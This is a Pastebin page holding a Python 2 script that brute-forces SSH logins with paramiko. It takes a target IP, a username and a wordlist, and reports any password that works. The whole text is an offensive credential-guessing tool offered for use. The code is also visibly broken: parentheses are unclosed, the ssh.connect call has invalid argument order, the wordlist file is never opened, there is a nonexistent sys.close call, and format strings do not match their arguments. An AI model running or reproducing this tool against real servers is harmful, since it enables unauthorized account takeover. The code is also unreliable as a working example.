Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #
- #
- import paramiko, sys, os, socket
- class bcolors:
- ENDC = '\033[0m'
- RED = "\033[1;31m"
- GREEN = "\033[0;32m"
- WARNING = "\033[93m"
- line = "\n---------------------------------------------------------------\n"
- try:
- print bcolors.WARNING + "[!]...Enter the SSH's Server IP" + bcolors.ENDC
- host = raw_input("\n> ")
- print bcolors.WARNING + "[!]...Enter SSH's UserName" + bcolors.ENDC
- username = raw_input("\n> ")
- print "\n###########################################"
- print "[!]...Please enter the path to a worldlist."
- dirpath = os.getcwd()
- print bcolors.WARNING + ("\ncurrent directory is: " + dirpath) + bcolors.ENDC
- print "###########################################"
- passwfile = raw_input("\n> ")
- if os.path.exists(passwfile) == False:
- print bcolors.RED + "\n[-]...File Path Does Not Exist" + bcolors.ENDC
- sys.exit(4)
- except KeyboardInterrupt:
- print bcolors.WARNING + "\n\n[*]...User Requested An Interrupt" + bcolors.ENDC
- sys.close(3)
- def ssh_connect(password, code = 0):
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()
- try:
- ssh.connect(host, port=22, username, password)
- except paramiko.AuthenticationException:
- #[*] Authentication Failed ...
- code = 1
- except socket.error, e:
- #[*] Connection Failed ... Host Down
- code = 2
- ssh.close()
- return code
- for i in passwfile.readlines():
- password = i.strip("\n")
- try:
- response = ssh_connect(password)
- if response == 0:
- print bcolors.GREEN + "[+]...User: %s [+]...Possible Password Found: %s%s" % (line, username, password, line) + bcolors.ENDC
- sys.exit(0)
- elif response == 1:
- print "[-]...User: %s" + bcolors.RED + "[-]...Pass: %s Login Incorrect" % (username, password) + bcolors.ENDC
- elif response == 2:
- print bcolors.WARNING + "[!]... Connection Could Not Be Established To Address: %s" % host + bcolors.ENDC
- sys.exit(2
- except Exception, e:
- print e
- pass
- passwfile.close()
Add Comment
Please, Sign In to add comment